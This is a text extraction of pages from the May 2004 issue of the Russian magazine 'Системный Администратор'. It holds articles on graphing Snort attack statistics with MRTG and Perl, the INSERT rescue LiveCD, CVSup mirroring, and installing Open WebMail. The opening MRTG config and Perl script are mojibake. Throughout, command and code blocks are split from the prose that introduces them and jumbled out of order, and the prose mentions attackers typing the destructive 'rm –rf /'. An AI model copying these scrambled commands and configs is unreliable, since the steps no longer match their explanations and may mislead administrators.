mrtg.cfg# Ðàáî÷àÿ äèðåêòîðèÿ mrtg, ãäå ñîçäàþòñÿ ïîääèðåêòîðèè# äëÿ îò÷¸òîâ, îáû÷íî îíà óæå óêàçàíàWorkDir: /var/www/html/mrtg# Âûáîð ÿçûêà � âíîñèò â çàãîëîâîê html-còðîêó# ñ CONTENT="text/html; charset=koi8-r" è ëîêàëèçóåò# html-ôàéëû ñîçäàâàåìûõ îò÷¸òîâLanguage: russian# Âíåøíèé ôàéë, êîòîðûé áóäåò ÿâëÿòüñÿ èñòî÷íèêîì äàííûõ# äëÿ mrtg, çàïèñûâàåòñÿ â îáðàòíûõ êàâû÷êàõTarget[snort]:`/etc/mrtg/snort_stat.pl`# Ìàêñèìàëüíîå ÷èñëî àòàê â åäèíèöó âðåìåíè# Çíà÷åíèÿ âûøå èãíîðèðóþòñÿ, íóæíî áîëüøå äëÿ íàãëÿäíîñòèMaxBytes[snort]: 2000AbsMax[snort]: 2000# Çàãîëîâîê îêíà áðàóçåðà, òåã <title> â htmlTitle[snort]: Ñòàòèñòèêà àòàê (äàííûå Snort)# Çàãîëîâîê ñòðàíèöû ñ ãðàôèêàìèPageTop[snort]: <H1>Ñòàòèñòèêà àòàê (äàííûå Snort)</H1># Ïîääèðåêòîðèÿ â WorkDir, ãäå áóäóò ñîçäàâàòüñÿ îò÷¸òûDirectory[snort]: snort# Ðàçìåð ãðàôèêîâ ïî øèðèíå â òî÷êàõXSize[snort]: 600# Ðàçìåð ãðàôèêîâ ïî âûñîòå â òî÷êàõYSize[snort]: 160# Ïîäïèñü ãðàôèêîâ ïî îñè îðäèíàòYLegend[snort]: Attacks per minute# Ïîäïèñü ëåãåíäû, ïîÿñíåíèå, ÷òî èìåííî çà ãðàôèê# íàðèñîâàí òàêèì-òî öâåòîì.(Íåîáõîäèìî, ÷òîáû íå# çàïóòàòüñÿ, êîãäà ãðàôèêîâ íåñêîëüêî)Legend1[snort]: ×èñëî àòàê â ìèíóòó# Óáðàòü ëèøíþþ èíôîðìàöèþLegendI[snort]: &nbsp;LegendO[snort]:# Çàäàòü íàïðàâëåíèå ðèñîâàíèÿ ãðàôèêîâ è ÷òî çíà÷åíèÿ,# âûäàâàåìûå ïðîãðàììîé, óêàçàííîé â Target, ÿâëÿþòñÿ# àáñîëþòíûìèOptions[snort]: absolute, growright# Ïîäïèñü åäèíèö èçìåðåíèÿ àòàêShortLegend[snort]: àòàê/ìèí

SELECT count(timestamp) FROM eventWHERE unix_timestamp(now())-unix_timestamp(timestamp)<300

# mysql -u snort -p

mysql> USE snort;

Ôàéë snort_stat.pl#!/usr/bin/perl# Ôàéë, âûäàþùèé ÷èñëî àòàê çà ïîñëåäíèå 300 ñåêóíäuse DBI;# Õîñò, ãäå çàïóùåíà ÁÄ MySQL$hostname="àäðåñ_õîñòà_MySQL_ñ_ÁÄ_snort";# Ïîðò, íà êîòîðîì çàïóùåíà ÁÄ MySQL$port="3306";# Èìÿ ïîëüçîâàòåëÿ, îò êîòîðîãî ïîäêëþ÷àòüñÿ ê ÁÄ$user="snort";# Ïàðîëü ïîëüçîâàòåëÿ, óêàçàííîãî âûøå$password="ïàðîëü_ïîäêëþ÷åíèÿ_ê_ÁÄ";# Èìÿ ÁÄ, ê êîòîðîé îñóùåñòâëÿåòñÿ ïîäêëþ÷åíèå$database="snort";# Ïîäêëþ÷èòüñÿ ê ÁÄ$dbh = DBI->connect("DBI:mysql:$database:$hostname:$port", ↵↵↵↵↵

$user,$password);# Ïîäãîòîâèòü SQL-çàïðîñ, âûïîëíÿþùèé ïîäñ÷¸ò ÷èñëà àòàê# çà ïîñëåäíèå 300 ñåêóíä íà âûïîëíåíèå$sth = $dbh->prepare("SELECT count(timestamp) FROM event ↵↵↵↵↵

WHERE unix_timestamp(now())-unix_timestamp(timestamp)<300");# Âûïîëíèòü çàïðîñ$sth->execute;# Ðåçóëüòàò âûïîëíåííîãî ðàíåå çàïðîñà ïîìåñòèòü â ìàññèâ ref@ref = $sth->fetchrow_array;# Âûâåñòè ïîëó÷åííîå â ðåçóëüòàòå çàïðîñà çíà÷åíèåprint $ref[0],"\n";# Çàâåðøèòü ðàáîòó ñ ÁÄ è îòêëþ÷èòüñÿ îò íå¸.$rc = $sth->finish;$rc = $dbh->disconnect;# Âûâåñòè äîïîëíèòåëüíûå çíà÷åíèÿ, íåîáõîäèìûå äëÿ ñîáëþäåíèÿ# ôîðìàòà ïåðåäà÷è äàííûõ â mrtgprint "0\n";

Page 26: 018 Системный Администратор 05 2004

24

безопасность

Соответствующие параметры: адреса MySQL-сервераи пр. следует задать самостоятельно, в зависимости отвашей конфигурации. Следует отметить, что сам скрипти БД могут быть разнесены и выполняться на разных ком-пьютерах, если вы запускаете скрипт на том же самомкомпьютере, где находится БД, что наиболее вероятно, тобез сомнения можно использовать значение «localhost».После указания в файле правильных значений необходи-мо придать файлу атрибут запускаемости следующей ко-мандой:

Далее, для того чтобы данный сценарий работал безошибок, перед его тестовым запуском необходимо убе-диться в том, что в системе установлен не только сам perlпо тому адресу, что указан в первой строчке, который бу-дет выполнять написанный нами скрипт, но и его пакеты-расширения, позволяющие ему взаимодействовать с БД.Это perl-DBD-MySQL и perl-DBI. Проверить их наличиеможно командой:

которая выдаст имена всех пакетов в вашей системе, вкоторых содержится слово perl. В случае отсутствия двухвышеуказанных пакетов, содержащих необходимые намдля работы perl-модули, следует установить их, напримердля RedHat v.7.3, командами:

(Эти rpm-пакеты с модулями можно найти на втором итретьем компакт-дисках соответственно.)

В случае если система обнаружения атак у вас рабо-тает и регистрирует атаки, запустив данный скрипт вруч-ную, при правильной его работе вы сможете увидеть при-мерно следующий результат в виде четырёх строк.

Первая цифра – число атак за последние 5 минут, сле-дует заметить, что она может отличаться от той цифры,что была выдана при ручном вводе соответствующегоSQL-запроса ранее, так как время не стоит на месте, топятиминутные интервалы, в промежутке которых осуще-ствляется подсчёт, будут разные для разных моментовзапуска. В случае отсутствия атак первая цифра будет 0.

Три последующие строки меняться не будут, что легкозаметить из последних строчек выводящего их скрипта.

Нужны они лишь для того, чтобы правильно работалmrtg и не ругался. Так как чаще всего mrtg работает с мар-шрутизаторами, то на месте этих строчек оказываются непустые значения, а значения входящего и исходящего тра-фика, uptime соответствующего устройства и его имя.

После того как как мы убедились, что скрипт работа-ет, можно запустить mrtg. Первые три раза лучше это сде-лать вручную, так как директория snort к моменту запускаскорее всего будет отсутствовать со всем её будущимсодержимым, то в первые два раза будет выдано сооб-щение о создании директории, и будут выданы сообще-ния об ошибках. Mrtg будет жаловаться на то, что отсут-ствует log-файл, где хранятся данные и отсутствует егорезервная копия. Третий раз запуск программы долженпройти тихо, без выдачи каких-либо сообщений об ошиб-ках. Если это так, то можно смело переходить к автомати-зации процесса запуска mrtg. Если бы мы сразу решилиавтоматизировать запуск, то эти и, возможно, другие со-общения об ошибках могли бы оказаться в log-файлахвашей системы, что усложнило бы процесс отладки и по-иска возможных ошибок.

Дополнительно убедиться в правильности работы mrtgможно, изучив содержимое директории /var/www/html/mrtg/snort командой:

Там должны быть 7 файлов:! snort-day.png! snort.log! snort.old! snort-year.png

Процесс автоматизации запуска mrtg возможно орга-низовать двумя путями: запускать mrtg в виде демона одинраз из стартовых скриптов, например из /etc/rc.d/rc.local,указав дополнительно соответствующий параметр в фай-ле конфигурации, либо запускать с помощью демонаcrond. Второй вариант мне нравится больше. Для его реа-лизации необходимо в файле /etc/crontab прописать сле-дующие две строчки:

Строка-комментарий никакой смысловой нагрузки ненесёт, кроме того, что это правила хорошего тона, пояс-нять все записи в crontab-файлах, да и потом в случаечего проще будет разобраться.

Сообщения от mrtg лучше вести в отдельный файл /var/log/mrtg.log, дабы не замусоривать и так перегруженный/var/log/messages, хотя это не обязательно. MRTG лучшезапускать раз в пять минут (запись 0-59/5), каждого часа,каждого дня месяца, каждого месяца в любой день неде-ли (оставшиеся четыре *). Подробнее про синтаксис и про-цесс автоматизации см. [9 стр.34-38]. В случае если выбудете запускать его чаще или реже, следует изменить искрипт, подсчитывающий значение числа атак, заменивтам соответствующее 5 минутам значение в 300 секунд.

После того как добавлены эти строчки, можно считать,что работа по настройке закончена, и если у вас, как иположено, запущен демон crond, то всё будет работать. Иуже через несколько часов можно будет наблюдать несовсем пустые гистограммы. В случае если у вас запу-

print "0\n";print "snort\n";

# chmod +x /etc/mrtg/snort_stat.pl

# rpm -qa|grep perl

# rpm -ihv perl-DBI-1.21-1.i386.rpm# rpm -ihv perl-DBD-MySQL-1.2219-6.i386.rpm

1900snort

# ls /var/www/html/mrtg/snort

! snort.html! snort-month.png! snort-week.png

# mrtg-ñòàòèñòèêà0-59/5 * * * * root /usr/bin/mrtg /etc/mrtg/mrtg.cfg ↵↵↵↵↵

--logging /var/log/mrtg.log

Page 27: 018 Системный Администратор 05 2004

25№5(18), май 2004

безопасность

щен веб-сервер, просмотрите любым графическим брау-зером файл http://yourserver/mrtg/snort/snort.html, либо файл/var/www/html/mrtg/snort/snort.html локально в противномслучае. В результате вы увидите картинку, подобную ни-жеследующей:

После того как, казалось бы, всё рассказано и показа-но, хочется сделать пару замечаний.

Первое касается точности построения графиков. Каклегко заметить, для запуска используется демон crond, ко-торый запускается после указанного времени, когда не толь-ко загрузка системы позволит это сделать, но и будет нижеопределённой. В результате следует понимать, что запускпроисходит не точно каждые 5 минут. Если будет запозда-ние, то скрипт, подсчитывающий атаки, запустится позже,в результате его пятиминутный интервал не перекроется спредыдущим и будет дырка, то есть часть атак не будетподсчитано. Если же после «запоздавшего» задания сле-дующее будет вовремя, то произойдёт перекрытие и неко-торые атаки будут подсчитаны дважды. Для систем с гру-бой оценкой это не важно, так как отклонения эти не боль-шие и примерно компенсируются и не накапливаются в силуслучайно флуктуирующего числа атак в единицу времени.Для более точных оценок данный метод следует корректи-ровать. Именно по причине грубости данного метода я невижу смысла запускать mrtg чаще чем раз в 5 минут.

Второе замечание касается подсчёта числа атак в еди-ницу времени при построении графика. В случае если покаким-то причинам придётся запускать mrtg в разные интер-валы времени, то, возможно, вам пригодится следующаяинформация. Сейчас, когда запускается mrtg то, так как вOptions указано слово absolute, осуществляется делениепереданного значения от скрипта на время, равное разницемежду текущим запуском mrtg и предыдущим. Это времяприблизительно равно 300 секундам и там, и там, поэтомуполучается примерно точно. Однако если по каким-то при-чинам с момента последнего запуска mrtg прошло другоеколичество времени, то как легко предположить, среднее чис-ло атак будет подсчитано неправильно. Несколько исправитьситуацию может использование опции gauge вместо absolute,но не всегда. Если указана опция gauge, то значение не де-лится на интервал времени, а принимается равным тому, чтопередали. Соответственно, для правильного подсчёта и ото-бражения в скрипте snort_stat.pl необходимо будет делитьвыводимое значение на 5. Этот способ подсчёта также яв-ляется грубым, но может помочь вам несколько уменьшитьошибку, поменяв правила её подсчёта.

Литература, ссылки:1. MRTG: The Multi Router Traffic Grapher http://

people.ee.ethz.ch/~oetiker/webtools/mrtg/2. Закляков П. Разводной мост на Linux. – //Журнал «Си-

стемный администратор» №4(5), апрель 2003 г.3. Манн С., Крелл М. Linux. Администрирование сетей

TCP/IP. Пер. с англ. – М.: ООО «Бином-Пресс», 2003 г.4. Колисниченко Д.Н. Linux-сервер своими руками. – СПб:

Наука и Техника, 2002 г.5. Закляков П. Удобнее, эффективнее, лучше: snort +

MySQL – //Журнал «Системный администратор» №11(12),ноябрь 2003 г.

6. Холзнер С. Perl: Специальный справочник – СПб: Пи-тер, 2000 г.

7. Дюбуа П. Применение MySQL и Perl в Web-приложе-ниях.: Пер. с англ. – М.:Издательский дом «Вильямс»,2002 г.

8. Как получить доступ к базе данных из cgi-скриптов?(Техническая поддержка Zenon N.S.P.: Виртуальныеunix-серверы : Вопросы по MySQL) http://www.host.ru/documentation/v-www/0025.html#11

9. Тейнсли Д. Linux и UNIX: программирование в shell. Ру-ководство разработчика: Пер. с англ. – К.: Издательс-кая группа BHV, 2001 г.

Page 28: 018 Системный Администратор 05 2004

26

администрирование

INSERT – INSIDE SECURITY RESCUE TOOLKIT

СЕРГЕЙ ЯРЕМЧУК

Бешеная популярность GNU/Linux не в последнюю очередьобусловлена наличием большого количества узконаправ-ленных дистрибутивов, адаптированных для выполненияконкретных задач. Наиболее популярны среди них firewall,позволяющие настроить доступ в Интернет, в том числе инеподготовленному пользователю, также в последнее вре-мя становятся популярными дистрибутивы, предназначен-ные для анализа сетевой безопасности удаленных и ло-кальных вычислительных систем и сетей в основном ввиде LiveCD-дистрибутивов, позволяющих проделать всенеобходимые операции без установки системы на жест-кий диск. Причем некоторые разработки могут прийтисьпо вкусу и закоренелым пользователям Windows-систем,т.к. могут оказаться тем единственным подручным сред-ством, при помощи которого можно спасти свои данные.Об одном таком дистрибутиве и пойдет речь далее.

INSERT (Inside Security Rescue Toolkit) – так называет-ся LiveCD-дистрибутив, от Inside Security IT ConsultingGmbH, предназначенный в первую очередь для решениязадач по спасению данных, а также для сетевого анализа.Домашняя страница проекта: http://www.insert.cd/. Размерверсии 1.2.3., которой я пользуюсь, всего-то 49.5 Мб, чтопозволяет записать его на болванку размером с корпора-тивную карточку, которая много места не займет, и иметьвсегда при себе.

При выборе образа для загрузки нужно быть внима-тельным, т.к. на данный момент имеются две версии: не-мецкая с приставкой de и английская – en. БазируетсяINSERT на популярном LiveCD-дистрибутиве KNOPPIX, чтопозволяет, воспользовавшись понятной инструкцией поразделке KNOPPIX Remastering HowTo (http://www.knoppix.net/docs/index.php/KnoppixRemasteringHowto),при необходимости внести изменения в состав приложе-ний дистрибутива.

Ядро INSERT поддерживает все файловые системы,которые могут понадобиться, – это Linux-журналируемыеext3, JFS, ReiserFS, XFS, а также Microsoft FAT с NTFS,что перекрывает большую часть потребностей. При заг-рузке система пытается найти разделы LVM (logicalvolume manager). Система будет работать на большин-стве оборудования, знает о Wireless-девайсах (имеютсяи утилиты для работы – orinoco, linux-wlan-ng, wavemon),SCSI-устройствах, RAID, в т.ч. и software-RAID, исключе-ния составляют, наверное, Win-модемы. Интересно, чтов такой маленький объем разработчикам удалось вмес-тить и X-Window с оконным менеджером fluxbox, так чтоте, кто еще не привык к работе в командной строке, бу-дут работать в более удобной для себя среде.

Если BIOS не поддерживает загрузку с CD-ROM, томожно создать загрузочную дискету командой:

Во время загрузки есть возможность указать ряд до-полнительных опций (просмотреть список можно по F2),из которых хотелось бы отметить insert toram, позволяю-щую загрузить содержимое диска в оперативную памятьи освободить дисковод. После чего загрузочный скриптнайдет все разделы на жестком диске, но монтировать ихне будет, это сделано специально для того, чтобы макси-мально сохранить данные. При необходимости нужныйраздел монтируем (все найденные можно просмотреть вкаталоге /mnt/):

После чего он будет смонтирован в режиме чтение-за-пись. По умолчанию работаем как пользователь insert, принеобходимости все остальные утилиты запускаются припомощи sudo без пароля. Далее, если сеть не настрои-лась при помощи DHCP, настраиваем ее вручную. Дляэтого воспользуемся командами ifconfig и route.

И заносим в /etc/resolv.conf имя ближайшего сервераимен. Например:

Из меню можно вызвать утилиты настройки pppconfig,pppoeconf для DSL или isdnconfig для ISDN. В настройкемодемного соединения помогут скрипты ppp-scripts-knoppix и pppconfig.

Приложения, входящие в состав INSERT, можно раз-делить по следующим категориям:

Утилиты для работы с дисковыми разделами восста-новления данных. В первую очередь интересна утилитаcaptive, представляющая эмулятор ядра Windows NT, по-зволяющий работать с разделами, отформатированнымипод NTFS, причем поддерживается и запись. Кроме того,работает и с разделами/образами в FAT, ext2, ISO9660.

Далее идет утилита gpart, позволяющая найти «поте-рявшиеся» разделы на жестком диске в случае, если таб-лица первичных разделов в нулевом секторе была повреж-дена или удалена.

#if=mounted_cdrom_directory/INSERT/boot.img of=/dev/fd0 bs=18k

#mount /mnt/hda3

#ifconfig eth0 192.168.0.20 netmask 255.255.255.0#route add default gw 192.168.0.254

nameserver 192.168.0.254

Page 29: 018 Системный Администратор 05 2004

27№5(18), май 2004

администрирование

Утилита partimage позволяет сохранять разделы вомногих форматах (ext2fs/ext3fs, ReiserFS, FAT16/32, HPFS,JFS, XFS, UFS, HFS, NTFS), причем, в отличие от dd, про-пускает нулевые секторы и может сжимать данные, чтопозволяет экономить место на диске, особенно при рабо-те с разделами больших размеров, удобна для клониро-вания системы.

Также поможет в поиске и восстановлении потерянныхразделов утилита testdisk, имеющая систему меню, облег-чающую работу с ней новичкам, и режим Advanced, пред-назначенный для экспертов.

Для восстановления данных, умышленно или случай-но уничтоженных с дискового раздела ext2, поможет ос-нованная на «Ext2-undeletion howto» утилита recover с гра-фическим Gtk-интерфейсом gtkrecover. В дополнение кстандартной утилите dd имеется dd-rescue, позволяющаясоздать образ, несмотря на ошибки.

Утилиты защиты системы, к которым можно отнестиантивирус Clamav, chkrootkit, предназначенный для поис-ка вложений – rootkits и lsof. Для обновления антивирус-ных баз в меню встроен отдельный пункт, вызов которогопри настроенном соединении автоматически обновитбазы, или вручную набрать freshclam. После чего можнозапускать clamscan с указанием примонтированого дис-кового раздела.

Утилиты анализа и работы в сети: iptables, tcpdump,nmap, iptraf (IP Network Statistics Utility) плюс аналогично-

го назначения апплет wmifs, traceroute и интерфейс mtr-tiny,dnsutils, ftp (с GTK-интерфейсом axyftp-gtk), ssh, httptunnel,icmpush (позволяет самстоятельно строить ICMP-пакеты),sendip (позволяет посторить произвольные IP-пакеты),веб-браузер Links.

Утилиты анализа и повышения защищенности системы:chntpw (утилита восстановления паролей NT SAM), wipe (длябезопасного удаления файлов), smb-nat (утилита аудитаNetBIOS), idswakeup (для тестирования IDS-систем).

И целый ряд вспомогательных утилит вроде программдля создания iso-образов и записи их на СD (mkisofs,cdrecord и burncenter), редакторы nvi и nano, набор дляработы с различными архивами и еще много различныхутилит.

Приятно, что разработчики полностью сохранили до-кументацию в виде man-страниц, что позволяет быстроразобраться в работе с незнакомыми утилитами иливспомнить опции командной строки.

В принципе для большинства восстановительных ра-бот такой наборчик подойдет вполне. Особенно понрави-лась возможность освобождения CD-ROM/RW, которыйможно использовать, например, для восстановления спа-сенной информации.

Это довольно хороший инструмент администратора,позволяющий использовать специфические для UNIX при-ложения на Windows-системах, а также для пользовате-лей, желающих начать знакомство с основами UNIX.

Page 30: 018 Системный Администратор 05 2004

28

администрирование

Трудно переоценить ту пользу, которую приносят нам ре-зервные копии, заботливо нами же и сделанные. Скольконервов и времени не было благодаря им потрачено впус-тую…

Процесс зеркалирования хоть и схож по смыслу, новсе же несколько отличается от классического резерв-ного копирования информации. Более того, зеркалиро-вание в полной мере не сможет его заменить. А зачемже тогда использовать зеркалирование, если оно не за-менит процесс стандартного бекапа? Рассмотрим не-большой пример.

На работе у X есть веб-сервер, X как добросовестныйадмин выполняет каждодневное резервное копирование,даже скрипты для автоматизации процесса написал. И всебы ничего: резервные копии ведутся, хотите контент сай-та двухнедельной давности? Пожалуйста! Но случилосьстрашное, злобные script-kiddies взломали веб-сервер иснесли все содержимое сайта. Конечно, не беда, есть ре-зервные копии, и все можно воcстановить, но скольковремени это займет? Да, казалось бы, не долго, минут 20(в лучшем случае), и все будет на месте, но эти самые 20минут сайт компании будет в простое, (это если толькосодержимое сайта(ов) снесли, а что делать, если злодеинедрогнувшей рукой набрали rm –rf / )… невеселая карти-на вырисовывается. Вот для того чтобы этого не произош-ло, можно (и нужно) зеркалировать информацию. (Конеч-но, зеркалирование не спасет вас от script-kiddies, но под-разумевается, что восстановление работоспособностисайта (или всего сервера) займет намного меньше вре-мени.) Если бы у нашего админа имелась зеркальная ко-пия веб-сервера, он использовал бы ее для работы, навремя восстановления основного веб-сервера.

Почему я взял за основу CVSup? CVSup является па-кетом программ для передачи и обновления файлов че-

АЛЕКСАНДР БАЙРАК

ЗЕРКАЛИРОВАНИЕ ИНФОРМАЦИИ

В этой статье будет рассказано о созданиипростой и удобной системы зеркалированияинформации с помощью пакета CVSup.

рез сеть. Он состоит из двух частей – клиента и сервера.Да, есть аналогичные средства – sup и rdist, а чем CVSup-то лучше? CVSup более гибок в настройках, и обеспечи-вает большую скорость работы по сравнению с вышеука-занными средствами. CVSup может эффективно копиро-вать файлы любых типов, вплоть до файлов устройств. Спомощью CVSup можно зеркалировать как отдельные ка-талоги, так и весь сервер целиком. А что? Очень удобнополучается.

Я установил систему зеркалирования на FreeBSD, ноее так же можно установить на любую другую BSD-систе-му или на Linux.

CVSup мной был установлен из пакаджей, которыешли вместе с системой. При желании пользователи BSD-систем могут установить этот пакет из коллекции пор-тов, а можно самостоятельно скомпилировать из исход-ников, которые располагаются тут: ftp://ftp.FreeBSD.org/pub/FreeBSD/development/CVSup/ .

В сети есть и rmp-пакеты CVSup.В общем, проблем с получением и установкой возник-

нуть не должно. Расписывать пошагово весь процесс невижу смысла.

Так как эта статья не задумывалась как исчерпываю-щее руководство по зеркалированию информации, я небуду рассматривать примеры создания полной копии од-ного/нескольких серверов целиком, все будет показано наодном простом примере, я думаю, его будет достаточно,для того чтобы понять, как работает CVSup.

Перейдем от теории к практике:Предположим, нам нужно держать зеркальные копии

следующих каталогов: /var/ftp; /info; /home/user22. Для на-чала нам нужно создать каталоги, в которых разместятсяфайлы конфигурации, роль которых – указывать демонуcvsupd, какие данные пересылать зеркальной машине.

Page 31: 018 Системный Администратор 05 2004

29№5(18), май 2004

администрирование

В качестве hostname вам нужно указать имя вашегохоста, информацию с которого вы хотите получать. Кста-ти, писать *default в начале каждой строки абсолютно необязательно, это делается только для удобочитаемостифайла. delete use-rel-suffix – эта инструкция дает CVSupправо удалять файлы на вашем компьютере. А почему в*default base= указано именно /backup/var, а не /var ?

Потому что /var «основной» машины будет хранитьсяв каталоге /backup/var «резервной» машины. Как вы по-няли, это сделано для того, чтобы каталог /var с «основ-ной» машины не заместил собой каталог /var на «резерв-ной» машине.

Такое можно допустить только в том случае, если выподдерживаете полное зеркалирование сервера. Вродебы все готово, пробуем запустить CVSup:

Число после опции –L указывает уровень подробнос-ти выводимой информации. По умолчанию используется 1.В данном случае 2 – самый подробный вывод. При 0 вкачестве параметра опции –L информация о процессе невыводится. За ней следует указание месторасположенияфайла с настройками. Вот пошел процесс синхронизации.

В зависимости от объемов информации и скорости сетипервоначальный обмен данными может продлиться доста-точно долго. Должен заметить, что если нажать Ctrl+C длязавершения процесса копирования, CVSup корректно за-вершит все свои операции, и в следующий раз продолжитсвое дело с того места, но котором вы его прервали.

Хочу обратить ваше внимание на одну очень важнуюдеталь: CVSup не копирует файлы, у которых совпадаетконтрольная сумма и права доступа.

Получается, что если на машине-источнике и машине-получателе присутствуют разные учетные записи пользо-вателей, информация о правах владения файлов можетне совпасть.

Отсюда следует, что если какой-либо копируемый файлимеет владельца, упоминаний о котором нет на машине-получателе, CVSup будет копировать этот файл в каждомсеансе синхронизации.

Для того чтобы этого избежать, нам нужно иметь наобеих машинах одинаковые учетные записи пользовате-лей, файлы которых мы собираемся зеркалировать.

Если все отлажено и отлично работает, вполне логич-ным может выглядеть добавление нового задания длядемона cron. Через какой промежуток времени запускатьпроцесс зеркалирования – решать вам. У меня он проис-ходит каждые полчаса.

Существует перевод на русский язык оригинальногоCVSup faq, который я очень рекомедую вам внимательнопочитать. Находится он на: http://ozz.pp.ru/cvsup.html

Завершая эту небольшую статью, невольно вспомина-ются золотые слова: «Лучше 2 бекапа, чем вообще безних». Так что не пренебрегайте такой важной штукой, какрезервное копирование информации.

После этого создаем в каждом каталоге по 2 файласледующего содержания (расписываю на примере ftp):

Создаем первый файл:

Помещаем в него следующее:

Создаем второй файл:

В котором пишем:

В первом файле мы указываем, какой каталог мы хо-тим иметь на резервной машине. А во втором указывает-ся имя файла, в котором мы описали, что мы хотим копи-ровать, и место на диске, где располагается нужный намкаталог.

Проделываем аналогичные манипуляции с остальны-ми каталогами.

После успешного завершения запускаем сервер cvsupd:

После опции –b указываем, где у нас лежит каталог, вкотором располагаются файлы конфигурации. По умолча-нию это /usr/local/etc/cvsup, если файлы с настройками выпоместили именно туда, эту опцию можно опустить. Опция–C отвечает за определение максимального количестваклиентов, которые могут одновременно забирать файлы.В нашем случае это 1. После опции –l указывается место,куда выводить логи. Для меня более удобным и нагляднымявляется вывод этой информации непосредственно на эк-ран. Но никто не мешает вам в качестве места для логовуказать какой-либо файл. Например, –l /var/log/cvsup.log –и все сообщения будут помещаться в этот файл. Если всезапустилось без ошибок, то переходим к настройке маши-ны «зеркала», на этой нам больше делать нечего. Если жевозникнут какие-либо ошибки, изучайте файл, который выопределили для вывода информации.

Важное замечание: CVSup по умолчанию работаетчерез 5999-й порт, так что не забудьте открыть его на сво-ем межсетевом экране.

Создаем в каталоге /etc файл mirror (хотя название выможете выбрать произвольное).

В этот файл мы поместим следующее:

#cd /etc#mkdir �p cvsup/sup#cd cvsup/sup#mkdir ftp info user22

*default host=hostname*default delete use-rel-suffix*default compress*default preserve

*default base=/backup/var*default releases=ftpftp

#cvsup �L 2 /etc/mirror

#touch ftp.cvs

Upgrade ftprsymlink *

#touch releases

ftp list=ftp.cvs prefix=/var

#cvsupd �b /etc/cvsup �C 1 �l /dev/stdout

Page 32: 018 Системный Администратор 05 2004

30

администрирование

ЗНАКОМСТВО С Open WebMail

АНДРЕЙ МАРКЕЛОВ

О необходимости наличия доступа к корпоративной почте через веб-интерфейс я задумалсяв первые же дни долгожданного отпуска. Конечно, существуют и бесплатные почтовые сервисыс доступом через http, но такой вариант меня не устраивал. Несколько исправил ситуациюssh + mutt, но возможность воспользоваться такой связкой бывает не всегда. Поэтому уже черезнесколько дней после выхода из отпуска на моем винчестере лежал свежескачанный дистрибутиводного из вариантов такого веб-интерфейса – Open WebMail (http://www.openwebmail.com).

Page 33: 018 Системный Администратор 05 2004

31№5(18), май 2004

администрирование

минимум версии 5.005. Обратите внимание, что OpenWebMail работает через Suidperl, что обеспечивает боль-шую безопасность работы. Поскольку все данные компо-ненты ставятся практически в любом дистрибутиве Linux«из коробки», я не буду заострять на них дальнейшее вни-мание.

Кроме того, необходимы следующие пакеты:! CGI.pm-2.74.tar.gz – библиотека Perl5 для написания

WWW CGI – скриптов.! MIME-Base64-2.12.tar.gz – модуль кодирования/декоди-

рования по RFC 2045-MIME.! libnet-1.0901.tar.gz – перловый API для поддержки при-

ложений клиент/сервер.! libiconv-1.9.1.tar.gz – пакет для динамической конвер-

тации символов.! Text-Iconv-1.2.tar.gz – интерфейс программирования на

Perl для работы с предыдущим пакетом.

Все вышеперечисленные архивы можно скачать по ад-ресу: http://openwebmail.com/openwebmail/download/packages.

В целом, при описании процесса инсталляции я будупридерживаться документации, входящей в состав дист-рибутива. Предварительно сделаю замечание, что для ус-тановки Perl-модулей можно воспользоваться и оболоч-кой CPAN, осуществляющей загрузку и установку моду-лей с сайта http://www.cpan.org. Но мы пойдем по «путикомандной строки».

MIME-Base64, CGI.pm и libnet ставятся следующим об-разом:

По большому счету, выбор пал на Open WebMail ввидуего ориентированности на работу с очень большими объе-мами почтовых сообщений. Как раз акцент в сторону боль-ших объемов входящей корреспонденции – это то, чтоотличает Open WebMail от других подобных систем, на-пример, от Neomail – «предка» рассматриваемого пакета.

К его достоинствам можно отнести следующее:! лицензия GPL, разумеется;! наличие встроенного клиента SSH, планировщика и

функции WebDisk;! фильтры почтовых сообщений;! поддержка разнообразных UNIX-подобных систем и ра-

ботающих на них почтовых систем;! поддержка SSL;! функции экспорта/импорта, облегчающие миграцию с

почтовых клиентов;! русскоязычный интерфейс.

Проект развивается с 2001 года. Язык программиро-вания – Perl. За основу, как написано на сайте, взятNeomail 1.14.

В этой статье я опишу базовую установку и настройкусистемы, плюс кратко расскажу, как выглядит работа OpenWebMail с точки зрения пользователя. В качестве плат-формы я использовал Red Hat Linux и sendmail, но, как яуже говорил, вы можете использовать и другие POSIX-системы.

УстановкаДля нормальной работы веб-интерфейса требуютсяApache с разрешенным выполнением скриптов cgi и Perl tar -zxvf <èìÿ_àðõèâà>.tar.gz

Page 34: 018 Системный Администратор 05 2004

32

администрирование

Когда вы будете давать команду perl Makefile.PL дляпакета libnet, на предложение скрипта обновить конфигу-рацию необходимо ответить отказом. То есть на един-ственный задаваемый вам вопрос во время отработкискрипта нажать «n» и клавишу «Enter».

Libiconv ставится следующим образом:

И наконец, займемся последним архивом – Text-Iconv-1.2:

Правим Makefile.PL:

Далее продолжаем из командной строки:

Если предпоследняя команда отработала неудачно,проверьте, правильно ли вы отредактировали Makefile.PL.В крайнем случае, можно будет переименовать uty/iconv.pl.fake в shares/iconv.pl, и попробовать собратьopenwebmail без поддержки iconv.

Теперь можно перейти непосредственно к установкеOpen WebMail.

При описании я буду ориентироваться на Red Hat Linux:

Идем в каталог cd /var/www/cgi-bin/openwebmail/etc.Переименовываем auth_unix.conf.default в auth_unix.conf,открываем его в редакторе и указываем:

Далее правим файл openwebmail.conf:

cdperl Makefile.PLmakemake install

tar -zxvf libiconv-1.9.1.tar.gzcd libiconv-1.9.1./configuremakemake install

tar -zxvf Text-Iconv-1.2.tar.gzcd Text-Iconv-1.2

'LIBS' => ['-L/usr/local/lib -liconv'],'INC' => '-I/usr/local/include',

perl Makefile.PLmakemake testmake install

cd /var/wwwtar -zxvBpf openwebmail-2.30.tgzmv data/openwebmail html/rmdir data

passwdfile_encrypted '/etc/shadow'passwdmkdb 'none'

Page 35: 018 Системный Администратор 05 2004

33№5(18), май 2004

администрирование

Как видно, здесь мы просто указываем каталог, гдехранится почта, находящаяся в обработке, и системо-за-висимые каталоги веб-сервера Apache. Почта на серверехранится в формате mbox.

При желании здесь же можно изменить подпись, до-бавляемую к письму. Теперь осталось последнее действие.Запускаем инициализацию:

Во время инициализации вам будет задан вопрос о не-обходимости сообщения разработчикам об установкеOpen WebMail.

На этом основные действия по установке пакета за-кончены. Теперь вы можете зайти на сервер и посмотреть,что в итоге получилось. Для приглашения к авторизациинеобходимо набрать в адресной строке браузера:

Также можно передавать имя и пароль сразу:

